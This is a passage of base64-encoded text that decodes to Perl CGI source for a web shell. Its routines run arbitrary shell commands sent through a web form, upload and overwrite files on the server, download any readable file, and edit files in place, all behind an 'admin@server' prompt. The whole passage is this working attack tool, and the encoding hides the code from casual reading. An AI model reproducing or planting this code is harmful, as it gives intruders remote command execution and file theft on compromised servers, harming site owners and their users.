bj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9 IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9 ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgY2xh c3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpEb3dubG9h ZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KCjwv Zm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9y bSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29k ZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7CgkkUHJv bXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAi OwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1k YXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxv YWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJmaWxlIiBuYW1l PSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNr Ym94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPgo8bGFiZWwgZm9yPSJ1cCI+ T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNw OyZuYnNwOzxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+ CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+ CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxv YWQiPgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlv biBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5l ZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBp cyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlw dCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGlt ZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0 YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRp bWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250 IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQojLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRh aW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lm aWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJl IHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1 bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmls ZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmls ZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRv IHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI KiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQm Zj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1c IlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBh Z2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVy RmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5 LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49 ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlz dAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRy ZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMt LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQg ZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUKIyBicm93c2VyLCBzbyB0aGF0 IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1 YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50LgojLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcgp7CglteSAkcmVzdWx0ID0gIiI7Cglsb2NhbCgk U2VuZEZpbGUpID0gQF87CglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3Bl bmVkIGZvciByZWFkaW5nCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJYmlubW9kZShTRU5ERklMRSk7 CgkJCWJpbm1vZGUoU1RET1VUKTsKCQl9CgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlb N107CgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOwoJCXByaW50 ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsKCQlwcmludCAiQ29udGVu dC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsKCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0 YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsKCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsKCQlj bG9zZShTRU5ERklMRSk7CgkJZXhpdCgxKTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxl Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOwoJCSRy ZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVz ZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIg YW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9h ZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mg b24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0 byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7 CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CgkjIGdldCBmdWxs eSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5U ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNm ZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9 ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRh cmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJ JFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBl cSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3Nl cigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsg cGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNl ciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQs IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxl LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmlu dCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0 dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRo ZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUg dG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRo bmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRh cmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4g bSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0Rmls ZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFu ZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUg JiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0 aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90 IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJ CWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsn ZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVy ZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6 ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDog JCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJ cmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24g aXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUK IyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcg dGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVz c2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhl IGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25s b2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQg Zm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVy KCJmIik7CgkJcmV0dXJuICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CgkKCSMgZ2V0IGZ1bGx5 IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQg JiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJG aWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRU cmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdl dEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRh cmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAi Z28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCXJldHVybiAmU2VuZEZpbGVUb0Jy b3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBs aW5rIHBhZ2UKCXsKCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7 Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRv IGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFu ZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5n ZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2Fz ZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUg YW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQoj IG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQg dG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5 ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCSRDdXJyZW50 RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVu Q29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5k Cgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9m IHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1 cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9tcCgkQ3Vy cmVudERpciA9IGAkQ29tbWFuZGApOwoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1 dEZvcm07CgoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQgPC9ydW4+PGJy Pjx0ZXh0YXJlYSBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4i OwoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyEKCQkk UnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7CgkJJHJlc3VsdCAuPSAmUnVuQ21k OwoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykKCXsKCQkkcmVzdWx0 IC49ICAmU2F2ZUZpbGVGb3JtOwoJfWVsc2UKCXsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRM aW5lSW5wdXRGb3JtOwoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1 bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxs Y2hlY2s9J2ZhbHNlJz4iOwoJCSRyZXN1bHQgLj0mUnVuQ21kOwoJfQoJJHJlc3VsdCAuPSAgIjwv dGV4dGFyZWE+IjsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29t bWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSdW5DbWQKewoJbXkgJHJlc3VsdD0iIjsKCSRDb21t YW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3Rv cjsKCWlmKCEkV2luTlQpCgl7CgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQlh bGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7Cgl9CglpZigkU2hvd0R5bmFtaWNPdXRwdXQp ICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgl7CgkJJHw9MTsKCQkkQ29tbWFuZCAu PSAiIHwiOwoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOwoJCXdoaWxlKDxDb21tYW5k T3V0cHV0PikKCQl7CgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOwoJCQkkcmVzdWx0IC49ICZIdG1s U3BlY2lhbENoYXJzKCIkX1xuIik7CgkJfQoJCSR8PTA7Cgl9CgllbHNlICMgc2hvdyBvdXRwdXQg YWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCXsKCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJz KCRDb21tYW5kKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJl c3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCSRFbmNv ZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCXN1YnN0cigkUnVuQ29tbWFu ZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5w dXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7 CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFu IHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlu a0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVs c2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2NvbG9yOiB5ZWxsb3c7JyA+IENhbm4ndCB3 cml0ZSBmaWxlITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQg PyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUg JGRpcl1cJDwvZm9udD4gIjsKCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOwoJJHJl c3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNj cmlwdExvY2F0aW9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVu Y29kZUN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBu YW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZh bHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5w dXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAk bXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93 cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJkh0bWxTcGVj aWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsKCSRyZXN1bHQgLj0gIjwvdGV4dGFyZWE+IjsK CSRyZXN1bHQgLj0gIjwvZm9ybT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PQojIEZpbGUgT3BlbgojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBGaWxlT3Blbigk KXsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkYmluYXJ5ID0gc2hpZnQ7CglteSAkcmVzdWx0ID0g IiI7CglteSAkbiA9ICIiOwoJaWYoLWYgJGZpbGUpewoJCWlmKG9wZW4oRklMRSwkZmlsZSkpewoJ CQlpZigkYmluYXJ5KXsKCQkJCWJpbm1vZGUgRklMRTsKCQkJfQoJCQl3aGlsZSAoKCRuID0gcmVh ZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgewoJCQkJJHJlc3VsdCAuPSAkZGF0YTsKCQkJfQoJ CQljbG9zZShGSUxFKTsKCQl9Cgl9ZWxzZQoJewoJCXJldHVybiAiTm90J3MgYSBGaWxlISI7Cgl9 CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9 